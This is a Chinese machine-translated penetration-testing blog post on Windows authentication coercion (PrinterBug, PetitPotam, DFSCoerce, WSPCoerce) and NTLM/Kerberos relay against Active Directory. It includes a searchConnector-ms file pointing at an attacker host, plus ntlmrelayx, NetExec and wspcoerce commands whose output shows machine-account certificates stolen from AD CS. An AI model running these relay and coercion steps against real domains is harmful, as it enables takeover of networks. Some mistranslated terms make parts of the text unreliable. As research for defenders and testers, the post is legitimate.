2025 年 Windows 强制转换技术终极指南

Windows 身份验证强制通常感觉像是对抗普通 Active Directory 的灵丹妙药。使用任何旧的低权限帐户，它通常允许我们获得几乎任意 Windows 工作站和服务器的完全管理访问权限，之后攻陷整个 Active Directory 只是时间问题。因此，微软在最近的 Windows 版本中实施了各种旨在缓解这种攻击媒介的更改也就不足为奇了。在这篇博文中，我们提供了 Windows 域中强制身份验证技术的全面参考，并讨论了它们当前的有效性、怪癖和典型应用。我们进一步解释了我们最近对 Impacket和 NetExec 的补丁如何帮助规避微软的一些新缓解措施，并展示了一种目前尚未广泛使用的强制身份验证技术的实现。

在深入探讨身份验证强制的现状之前，我们想先概述一下身份验证强制究竟是什么，以及它与密切相关的中继攻击有何关联。如果您已经熟悉强制，请跳过本博文的下一部分。然后，我们将讨论中继强制会话时遇到的障碍。由于这些障碍和保护机制在最近的 Windows 版本中得到了加强，因此它们对于理解强制技术的现状至关重要。最后，我们将详细探讨每种强制技术、其适用性以及现有缓解技术对其的影响。

我们为什么要强制？

强制技术与中继攻击密切相关。对于这篇博文，我们假设您已经了解什么是中继攻击。如果不是这样，我们可以推荐各种精彩的博文，帮助您快速入门。对于 NTLM 中继，我们认为hackndo 对 NTLM 中继的出色讲解是我们关于使用伪装者获取中间人位置的博文的理想起点。在 James Forshaw为 Google Project Zero奠定了研究基础之后，Kerberos 中继也正在蓬勃发展，成为一个越来越大的领域。从那时起，许多提议的攻击都已成功实施和记录，例如Dirk-jan Mollema 撰写的关于使用 DNS 动态更新的Kerberos 中继技术的博文，或者Synacktiv 撰写的利用 CredUnmarshalTargetInfo 函数 或LLMNR 欺骗的博文 。

好了，让我们来谈谈强制攻击在这一切中扮演的角色。毕竟，NTLM 和 Kerberos 中继攻击都可以通过使用诸如 伪装者 (Presenter)、 响应者 (Responder)或 mitm6 之类的工具利用名称解析协议来顺利进行。事实上，强制攻击和名称解析攻击在进行中继攻击时都有各自的用途和地位，因为它们各自具有截然不同的优势和局限性。

名称解析攻击（即 mDNS、LLMNR 和 NetBIOS 名称解析欺骗，以及 DHCPv6 DNS 接管）无需用户帐户即可执行。因此，它们可以成为发起攻击并获得初步立足点的绝佳策略。然而，哪些会话可以被中继以及可以中继到哪些目标，通常取决于运气。在许多情况下，使用这些技术已经可以获取广泛的访问权限，但有时即使您确定了想要入侵的特定高价值机器，却始终无法获得合适的会话。这可能是由于运气不佳，或者因为我们只能从自己网段中接收广播或多播消息的计算机上的帐户获取会话。

这时，身份验证强制就派上用场了，因为它允许你锁定特定计算机并执行中继攻击，通常可以授予该计算机的完全管理访问权限。然而，强制攻击需要访问域用户帐户，即使该帐户是任意的低权限帐户。因此，我们倾向于将强制攻击视为获取此类帐户后的合乎逻辑的下一步，例如基于名称解析的中继攻击。具体来说，可以通过对 LDAP 执行基于名称解析的中继攻击来获取帐户，方法是利用 ms-DS-MachineAccountQuota 创建一个带有普通用户帐户中继会话的新计算机帐户，或者通过 使用中继计算机帐户会话修改msDS-KeyCredentialLink （影子凭据攻击）。

获取此类帐户后，即可使用它连接到选定 Windows 计算机的各种远程过程调用 (RPC) API，并调用强制计算机连接到攻击系统并使用相应计算机帐户进行身份验证的函数，因此称为身份验证强制。然后，当找到合适的中继目标时，即可中继这些连接。

一方面，这允许我们选择要中继谁的会话（即使跨越网络边界），但另一方面，我们只能获取计算机帐户的会话。这就引出了下一个重要问题：

为什么计算机帐户如此特殊？

乍一看，从攻击者的角度来看，计算机帐户似乎不太吸引人，因为它们不太可能拥有任何可用于横向移动的特殊权限。但从好的方面来看，计算机帐户通常很容易获取，因为任何域用户都可以在默认配置下创建最多 10 个计算机帐户（请参阅 ms-DS-MachineAccountQuota）。

然而，当我们谈论的是属于实际计算机的计算机帐户时，仔细一看就会发现，这些帐户的功能远比表面上看起来的要多。计算机帐户是高权限NT AUTHORITYSYSTEM（或NT AUTHORITYNETWORK SERVICE）帐户与 Active Directory 交互时使用的一组凭据。然而，计算机帐户 和NT AUTHORITYSYSTEM仍然是两个独立的概念。因此，当您使用计算机帐户向相应的计算机进行身份验证时，您将获得一个低权限会话，而不是特权NT AUTHORITYSYSTEM会话。如果是这样，那么我们为什么还要关心计算机帐户呢？答案是 模拟。

虽然我们在使用被入侵的计算机帐户进行身份验证时只能获得低权限访问权限，但该帐户可以为其各自的计算机请求强大的 Kerberos 模拟票证。这通常可以通过两种技术实现：

• S4U2Self 滥用：要利用此技术，我们必须首先获取计算机帐户的凭据。具体方法是将强制身份验证中继到 LDAP 以创建KeyCredentialLink（影子凭据） ，或者利用ESC8 或 ESC11对 Active Directory 证书服务 (AD CS) 服务器进行中继攻击。获取凭据后，我们可以通过 S4U2Self 滥用获取相应计算机的模拟票证 ，利用该票证我们可以模拟域用户（可能存在限制），并拥有该计算机的本地管理员权限。

• 基于资源的约束委派 (RBCD)：此技术要求攻击者获取另一个计算机帐户（我们称之为 computer1$），该帐户不必与实际计算机相对应（从技术上讲，常规用户帐户也可以与无 SPN 的 RBCD对应）。然后可以将来自目标计算机 ( ) 的强制身份验证computer2$中继到 LDAP，以便 为已控制的计算机帐户 ( ) 配置基于资源的约束委派 (RBCD)computer1$。这意味着目标计算机的计算机帐户 ( computer2$) 允许攻击者控制的其他计算机帐户 ( computer1$) 请求该计算机的模拟票证。最后，可以请求这样的票证以模拟具有计算机管理访问权限的域用户（同样，可能存在限制）。

虽然这些技术的细节理解起来相当复杂，但目前已有优秀且免费的实现，使攻击者可以轻松利用它们。它们由此证明了计算机帐户实际上如何拥有相应计算机的管理访问权限，即使乍一看似乎并非如此。而且，由于我们可以选择在执行身份验证强制时瞄准哪台计算机，因此，如果攻击成功，我们就可以选择获得哪台计算机的管理访问权限。有了这些信息，仅通过强制手段中继计算机帐户会话的想法似乎也不错，对吧？

我们还想快速提一下域控制器计算机帐户。如果您能够从 DC 强制执行身份验证并将其中继到 LDAP 或 AD CS，则无需任何模拟技巧，因为这些帐户具有 DCSync 权限，可以直接利用这些权限从 DC 下载所有用户的 NT 哈希和 Kerberos 密钥。这使得域控制器计算机帐户成为高价值目标，如果被攻破，将直接授予对域的完全访问权限。

我们面临什么阻碍？

现在我们已经清楚地了解了强制是什么以及执行身份验证强制时的目标是什么，我们需要讨论可能阻碍我们实现这些目标的障碍，然后才能继续讨论强制技术本身。

由于强制攻击最终是中继攻击，因此主要障碍在于微软为弥补 古老的 NTLM 身份验证协议的不足而采取的针对中继攻击的缓解措施。了解这些缓解措施的作用至关重要，因为随着微软在新版 Windows 中默认启用更多缓解措施，它们变得越来越普遍。请注意，我们讨论的 Windows 版本之间默认设置的更改仅适用于新安装。更新 Windows 版本时，旧的默认设置通常仍然适用。下文讨论的缓解措施同时适用于 NTLM 和 Kerberos。

通道绑定和 EPA

通道绑定是一种缓解针对启用 TLS 的服务（例如 LDAPS 或 HTTPS）的中继攻击的措施。在 IIS 等 HTTPS 服务器中，微软通常将其称为身份验证的扩展保护 (EPA)。启用后，服务必须在其 NTLM 客户端质询或 Kerberos AP_REQ消息验证器中包含底层连接的 TLS 服务器证书的指纹。Wireshark 中的示例如下所示：

如果我们想要中继的会话最初并非用于基于 TLS 的服务，则指纹将不会被包含，身份验证将失败。如果我们接受与基于 TLS 的服务器的传入会话，客户端将包含我们的证书指纹，而中继目标将拒绝该会话，从而有效地防止中继攻击。

在强制攻击的背景下，我们关注的是针对 RBCD 或影子凭据攻击的 LDAPS 目标，以及针对 ESC8 攻击的 Active Directory 证书服务 (AD CS) 的 HTTPS Web 注册 API。幸运的是，如果可以使用未启用 TLS 的协议版本（LDAP 或 HTTP），通常可以轻松绕过通道绑定。但是，对于未加密的 LDAP，可能需要其他保护措施（稍后会详细介绍）。

长期以来，通道绑定和 EPA 默认处于禁用状态，很少手动启用。然而，从 Windows Server 2022 23H2 开始，LDAP 通道绑定默认处于激活状态 ；在 Windows Server 2025 上，EPA 默认处于启用状态，未加密的 AD CS Web 注册 API 默认处于禁用状态。

* 未经测试

服务器端消息签名

非基于 TLS 的协议也可以通过安全支持提供程序接口 (SSPI) 使用签名和加密（有时称为密封）。在这种情况下，每条消息都使用在 NTLM 或 Kerberos 身份验证期间派生的临时密钥进行签名或加密。在中继攻击中，身份验证可能成功，但攻击者永远无法获取此派生密钥。因此，攻击者在身份验证成功后既无法对消息进行签名也无法加密，而需要签名或加密的中继目标将拒绝来自攻击者的未签名或未加密的消息。签名和加密之间的区别对攻击者来说毫无意义，因为只要中继目标需要其中任何一种，中继攻击就会失败。

然而，需要理解的一个重要方面是，只有服务器端签名/加密策略与中继攻击的成功相关，而不是客户端策略。如果客户端要求签名或加密，我们仍然可以中继身份验证，因为身份验证消息尚未签名，并且签名/加密密钥尚未派生。身份验证完成后，我们将无法与客户端通信，但我们也没有理由这样做，因为此时我们只关心与中继目标的连接。但是，如果中继目标要求签名/加密，我们虽然有一个经过身份验证的会话，但我们的消息将被拒绝，使其变得毫无用处。

身份验证包（例如 NTLM 或 Kerberos）本身可以在各自的身份验证消息中指示是否支持签名或加密。但是，SMB 实际上会执行其自身的签名/加密协商。因此，由 SMB 配置（而不是身份验证包）决定签名是禁用、启用但可选还是必需：

在中继攻击中，这允许我们在接受来自需要签名/加密的客户端的传入 SMB 会话时声称支持签名/加密，并让其进行尚不需要签名/加密的身份验证。

对于 LDAP，情况有所不同。与 SMB 类似，LDAP 服务器可能需要或不需要签名，从而允许或阻止中继攻击。但是，LDAP 无法在客户端和服务器之间协商签名。对于攻击者来说，一个不幸的后果是，即使服务器最初不需要签名，只要身份验证包在身份验证消息中指示签名支持，就会伺机启用签名。这意味着我们只能成功中继那些身份验证包声称不支持签名的客户端的会话。我们将在下一节中讨论这个问题，但首先让我们来看看消息签名默认设置的当前状态。

域控制器上早已启用服务器端 SMB 签名。但是，在 Windows 11 24H2 中，Microsoft 已为工作站上的传入 SMB 连接启用了服务器端 SMB 签名。即便如此，在非 DC Windows 服务器上，默认情况下仍然不需要服务器端 SMB 签名，这可能是为了支持需要访问 SMB 共享但实际上不支持签名的旧版实现而做出的权衡。Microsoft 文档中列出了 SMB 的默认设置。dsinternals 总结了最近的更改 。与 LDAPS 的通道绑定一样，默认情况下在 Windows Server 2022 23H2 DC上启用了 LDAP 签名。

客户端消息签名

如前所述，对于针对 LDAP 服务器的中继攻击，至关重要的是确保传入的身份验证消息完全不指示签名支持。由于 LDAP 是强制攻击最重要的中继目标之一，这引出了一个问题：我们如何才能获取合适的身份验证消息。

例如，为了生成包含未指示签名支持的 NTLM 身份验证消息的 SMB 连接，需要完全禁用 SMB 签名。这种配置在野外发现的可能性极小，因此我们不应该依赖它。

然而，出于某种原因，我们有时仍然会遇到启用了过时的 NTLMv1 协议的主机。这可能是旧域名的典型遗留配置。在这种情况下，NTLM 消息中指示签名支持的位在中继攻击期间很容易被翻转，因为它不像 NTLMv2 那样受到加密保护。Impacket 示例中的选项就是--remove-mic出于 这个原因。或者说，NTLMv1 的加密机制足够弱，可以通过彩虹表进行暴力破解以获取计算机帐户的 NT 哈希值，从而无需完全中继会话。但是，由于 NTLMv1 如今已很少见，并且在启用 Credential Guard 时会被强制禁用，因此我们也无法真正依赖它。 ntlmrelayx.py

相反，我们最好的选择是传入的 HTTP 连接。由于 HTTP 协议根本不支持基于 SSPI 的请求签名，因此身份验证包也不会指示签名支持：

这意味着为了能够可靠地中继 LDAP 服务器，我们需要接收传入的 HTTP 连接。幸运的是，我们通常可以在强制攻击中影响协议。

为了强制从计算机发出 HTTP 请求，需要 WebClient 服务（有时称为 WebDAV 重定向器）当前正在该计算机上运行。此服务允许用户和应用程序访问 WebDAV 共享，例如在 Windows 资源管理器中。根据所选强制技术的内部原理，强制连接会利用此服务发送经过身份验证的 HTTP 请求，但前提是 WebClient 服务此时已在运行。那么，该服务在任意一台计算机上运行的可能性有多大？我们能否以某种方式影响它？

首先，显然需要安装 WebClient 服务。在 Windows 工作站上，WebClient 服务是默认安装的。相比之下，在 Windows 服务器上，它并非默认安装，但可以在非核心服务器上作为附加功能手动安装。遗憾的是，该服务是按需激活的，而不是自动激活的，因此它不会在新启动的计算机上运行。但实际操作中“按需”指的是什么呢？嗯，它会在挂载 WebDAV 驱动器时激活，但在文件资源管理器的搜索栏中输入随机文本并按 Enter 键也可以激活。此外，某些应用程序（例如 SharePoint）也倾向于激活该服务。因此，在典型的工作站上，WebClient 服务很可能会在一天中的某个时间点启动。

但还有更多。如果我们有权访问计算机上的可写共享，我们实际上可以从外部影响服务的激活。在这种情况下，我们可以创建一个包含.searchConnecter-msURL 扩展名的 XML 文件，以及类似的技术。一旦显示此类文件，WebClient 服务就会被激活，并建立与该 URL 的经过身份验证的连接。从某种程度上来说，这本身就是一种强制技术，但它使用的是当前用户的凭据，而不是计算机帐户凭据。这有其自身的优势，但就本文而言，我们主要关注计算机帐户强制激活。因此，我们使用这种技术来激活 WebClient 服务。带有攻击者指定 URL 的此类文件的模板如下所示：

<?xml version="1.0" encoding="UTF-8"?><searchConnectorDescriptionxmlns="http://schemas.microsoft.com/windows/2009/searchConnector"><description>Microsoft Outlook</description><isSearchOnlyItem>false</isSearchOnlyItem><includeInStartMenuScope>true</includeInStartMenuScope><templateInfo><folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType></templateInfo><simpleLocation><url>http://attacksystem/path</url></simpleLocation></searchConnectorDescription>

我们还可以验证 WebClient 服务当前是否在计算机上运行，因为它在启动时会打开一个命名管道，我们可以对其进行监视。这项检查是在 NetExec模块中实现的webdav。

不幸的是，由于该恶意软件并非默认安装在服务器上，并且需要通过用户交互才能激活，因此它更有可能从工作站强制建立 HTTP 连接，而不是从服务器建立连接。尽管如此，能够利用这种技术攻陷工作站对于攻击转移来说仍然非常宝贵，我们严重依赖它来针对 LDAP 进行中继。

如果 WebClient 服务确实在主机上运行，攻击者仍然需要注意该服务的另一个细节：只有当它合理确定目标服务器位于 Intranet 区域而不是 Internet 区域时，它才会尝试身份验证。它采用启发式方法检查目标是否使用需要通过本地名称解析或域区域内的 DNS 解析的主机名指定。但是，由于攻击者已经需要拥有一个帐户来执行强制操作，他们可以使用此帐户在域内为其攻击系统注册 DNS 记录，例如使用krbrelayx 的 dnstool.py。为了确保 HTTP 确实被使用，必须与主机名一起指定端口和虚构的共享名（不带域后缀），如下所示（请注意，某些工具会自行添加前导反斜杠）：

\attacksystem@80share

强制方法

经过这些热身，我们终于了解了讨论和比较强制转换技术所需的所有知识。如前所述，我们的重点是使用任何低权限帐户强制转换可中继的计算机帐户会话，因此我们不会讨论特权强制转换方法，例如 RemoteMonologe。

这里讨论的所有强制方法都基于可通过 DCERPC 远程访问的 RPC API。根据具体技术，可以通过 SMB 经由命名管道使用 DCERPC 访问 API，也可以通过端口映射器直接使用原始 DCERPC 访问 API，或者两者兼而有之。

如果我们可以通过 SMB 进行强制，那么问题来了，我们是否可以对选定计算机的 SMB 服务器执行常规的未经身份验证的中继攻击（例如通过 mDNS 或 DHCPv6 DNS 接管），并使用该连接从该中继目标强制发起计算机会话？不幸的是，答案是否定的，因为即使 SMB 服务器不需要签名，DCERPC 接口本身也需要签名，因此我们确实需要事先拥有一个帐户，尽管是一个低权限的帐户。

我们将介绍的强制转换技术包括 基于 MS-RPRN 的 PrinterBug 、基于 MS-EFSR 的 PetitPotam 、基于 MS-DFSNM 的DFS 强制转换以及基于 MS-WSP 的WSP 强制转换。此外，还有一些针对特定服务器和应用程序的强制转换方法，这些方法只需要低权限帐户，但这些方法已经涵盖了大多数基础操作。

其中一些技术仅允许我们强制建立 SMB 连接，而另一些技术则允许我们在 WebClient 服务正在运行的情况下同时强制建立 SMB 和 HTTP 连接。同样，有些技术始终可用，而有些技术则仅在特定情况下可用。我们将在深入讨论每种技术时再次讨论这些细节。但首先，我们想概述一下每种强制技术针对使用默认配置的服务器的中继功能。

在 Windows 11 24H2 和 Windows Server 2022 23H2 之前，几乎没有什么因素会阻止我们针对任何我们喜欢的对象中继强制连接。不幸的是，在 Windows 11 24H2 和 Server 2022 23H2 以及 2025 中，情况看起来相当糟糕。这主要是因为工作站默认启用了 SMB 签名，而服务器默认启用了 LDAP 签名、LDAP 通道绑定和 EPA（自 2025 年起）。

但实际上，目前的情况并不像听起来那么糟糕。这些默认设置仅适用于全新安装，而不适用于升级安装，而且目前仍有大量 Windows 10 和 Server 2019 机器在使用。

此外，这篇博文不仅旨在总结当前状态，还希望展示我们的工作，以确保现有的强制转换技术在最近的变化中仍然有效。但首先，我们来概述一下强制转换技术及其功能：

1. 在 Windows 11 22H2 或 Windows Server 2025 之前，使用 SMB/HTTP，之后仅使用原始 DCERPC

2. 服务按需运行

3. 可以安装服务

MS-RPRN/打印机错误

在2018 年 DerbyCon 的演讲中， @tifkin_ (Lee Christensen)、 @harmj0y (Will Schroeder) 和 @enigma0x3 (Matt Nelson) 首次展示了如何利用打印系统远程协议接口 ( MS-RPRN )暴露的多个漏洞函数之一，强制 Windows 主机向其他计算机进行身份验证。该技术最初在SpoolerSample中实现 。

强制使用的方法通常用于监视打印机变化并向远程打印客户端发送通知，在强制用例中通常是我们的攻击系统。

MS-RPRN接口 通常可通过 DCERPC 在大多数工作站和服务器上使用，只有 Windows Server Core默认不 自带该接口。此外，微软建议在服务器上禁用该接口。

在 Windows 11 22H2 和 Windows Server 2025 之前的版本中，它可用于强制通过 SMB 甚至 HTTP 建立连接（前提是 WebClient 服务正在运行）。在 Windows 11 22H2 和 Windows Server 2025 之后，默认情况下仅通过原始 DCERPC 建立连接，并且将不再尝试 SMB 或 HTTP。这最初导致攻击失败，因为诸如此类的工具ntlmrelayx.py无法接受和中继传入的原始 DCERPC 连接。

为了仍然使用 DCERPC 连接，我们进行了修改：Sylvain Heiniger 已经在其关于ntlmrelayx.pyDCOM 中继的博客文章中实现了一个 RPC 服务器 ，并且通过添加一个简单的端点映射器 (EPM) 服务，即使未启用 EPA，该方法仍然可以针对 ESC8 中的 AD CS 服务器进行中继：

$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -smb2support --adcs[...][*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0[*] RPCD: Received connection from192.0.2.115, attacking target http://192.0.2.5[+] RPC: Received packet of type MSRPC BIND[+] Answering to a BIND without authentication[+] RPC: Received packet of type MSRPC REQUEST[+] RPC: Sending packet of type MSRPC RESPONSE[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0[*] RPCD: Received connection from192.0.2.115, attacking target http://192.0.2.5[+] RPC: Received packet of type MSRPC BIND[+] RPC: Sending packet of type MSRPC BINDACK[+] RPC: Received packet of type MSRPC AUTH3[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LABWIN11VM$ SUCCEED[+] RPC: Sending packet of type MSRPC FAULT[+] RPC: Received packet of type MSRPC REQUEST[+] RPC: Sending packet of type MSRPC FAULT[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 16[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx[*] Certificate successfully written to file[+] RPC: Connection closed by client

MS-EFSRPC/PetitPotam

2021 年，@topotam77发布了 PetitPotam 漏洞，这是另一种类似于 PrinterBug 的方法，通过加密文件系统远程协议接口 ( MS-EFSRPC ) 进行强制执行。漏洞公开后，人们注意到，该漏洞无需任何凭据即可在域控制器上执行 ( CVE-2021-36942 )，从而允许攻击者轻松攻陷整个域。当然，微软已经修补了这个问题，现在该技术与其他攻击一样，需要低权限帐户才能执行。

强制攻击的方法与加密文件系统 (EFS) 相关，例如，添加用户以读取加密文件。它暴露了多个易受攻击的功能。微软已经修补了其中一些漏洞，但他们似乎已经放弃了，其他易受攻击的功能仍然可被利用。

这种强制技术允许 SMB 和 HTTP 连接。在 23H2 更新之前，相关接口可以通过原始 DCERPC 和 SMB 上的命名管道访问。然而，自 23H2 更新以来，该服务不再默认启用，而是像 WebClient 服务一样按需激活。由于 EFS 功能在实际应用中很少使用，因此它被启用的可能性远低于 WebClient 服务。因此，此更新阻止了许多强制攻击。

不过幸运的是，故事并没有就此结束。由于我们非常喜欢这种技术，我们试图找出可能触发该服务的原因。例如，在创建新的加密文件或访问使用加密文件的文件夹时，该服务就会被激活。创建加密文件也可以 远程完成。我们在NetExec模块中自动执行了此操作efsr_spray，该模块会尝试在每个 SMB 共享上创建一个加密文件。对于要激活的服务，是否拥有创建文件的 NTFS 权限并不WRITE重要，只有SMBMODIFY权限才重要。因此，即使由于用户没有文件系统层的权限而导致创建失败，攻击仍然是成功的。更重要的是：即使用户只能访问WRITE打印队列，尝试创建文件时也会激活该服务。我们又回到了游戏！

在以下示例中，PDFCreator共享（具有类型）用于使用模块PRINTQ激活管道：efsrpcefsr_spray

$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam --shares -- 192.0.2.115SMB 192.0.2.115445    WIN11VM [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)SMB 192.0.2.115445    WIN11VM [+] lab.redteamrtpttest:test1234!SMB 192.0.2.115445    WIN11VM [*] Enumerated sharesSMB 192.0.2.115445    WIN11VM Share Permissions RemarkSMB 192.0.2.115445    WIN11VM ----- ----------- ------SMB 192.0.2.115445    WIN11VM ADMIN$ Remote AdminSMB 192.0.2.115445    WIN11VM C$ Default shareSMB 192.0.2.115445    WIN11VM IPC$ READ Remote IPCSMB 192.0.2.115445    WIN11VM PDFCreator WRITE PDFCreator PrinterSMB 192.0.2.115445    WIN11VM print$ READ Printer Drivers$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam -M efsr_spray -- 192.0.2.115SMB 192.0.2.115445    WIN11VM [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)SMB 192.0.2.115445    WIN11VM [+] lab.redteamrtpttest:test1234!EFSR_SPRAY 192.0.2.115445    WIN11VM Successfully activated efsrpc named pipe!

DFS

2022 年，Filip Dragovic发布了 DFSCoerce （由@xct_de发现 ），这是另一种类似于 Printerbug 的方法，通过分布式文件系统命名空间管理协议接口（MS-DFSNM）进行强制转换。

强制转换的方法与分布式文件系统命名空间相关，并且仅适用于服务器。它只能用于强制转换 SMB 连接。

水务及计划

2023 年，Simon Lemire发布了 WSPCoerce 服务，该服务通过 MS-WSP 接口强制执行。强制执行的方法与 Windows Search 协议相关，该协议用于查询和索引文件。该服务仅在工作站上默认启用，自Server 2016wsearch起已在服务器上禁用。但是，当用户使用搜索栏时，系统会要求用户启用该服务，这可能会促使管理员启用该服务：

与 DFS 强制类似，WSP 只能强制 SMB 连接。如果我们只对 SMB 连接感兴趣，那么使用这两种方法可以强制服务器和工作站。

由于最初的概念验证只能在 Windows 机器上执行，我们基于 Impacket用 Python 开发了一个名为wspcoerce 的实现：

$ wspcoerce 'lab.redteam/rtpttest:[email protected]'"file:////attacksystem/share"Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra[*] Connected to IPC$[*] Opened MsFteWds pipe[*] Sent WSP Connect[*] Sent WSP Query[*] Sent WSP Disconnect$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs[...][*] SMBD-Thread-6 (process_request_thread): Received connection from192.0.2.115, attacking target http://192.0.2.5[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED[*] SMBD-Thread-8 (process_request_thread): Received connection from192.0.2.115, attacking target http://192.0.2.5[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 17[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx[*] Certificate successfully written to file[*] Skipping user WIN11VM$ since attack was already performed

结论

到了2025年，胁迫攻击依然猖獗，尽管微软不遗余力，它仍然是在典型的Windows域中入侵大量计算机的最快方法之一。鉴于全新安装的Windows系统默认启用的缓解措施，攻击者的未来确实充满不确定性，但大多数攻击仍然有效——尽管增加了新的限制——至少目前如此。

我们也希望强调，安全专业人员深入了解我们使用的技术和工具至关重要。毕竟，我们的使命是识别客户端中相关的安全漏洞。因此，我们需要能够应对微软的变化——我们不想被自身工具所限制，而是希望受到目标安全级别的限制。我们的工作是让大家了解兼容性驱动攻击的实际成本和风险，因此我们将继续寻找部分缓解措施的变通方法，直到所有服务都要求签名或通道绑定，并且 NTLM 彻底消失。

我们确信，未来将会发现新的强制攻击技术以及其他针对现有缓解措施的变通方法。这一点尤其重要，因为我们发现强制攻击在 Kerberos 中继攻击中也扮演着至关重要的角色，而当 NTLM 最终默认禁用时，这种攻击将变得更加重要。因此，Kerberos 中继攻击与强制攻击一样，已经成为一个重要的研究课题，并且目前正在进行一些激动人心的新研究。我们当然会参与其中，所以请务必关注我们未来关于这些主题的更多博客文章！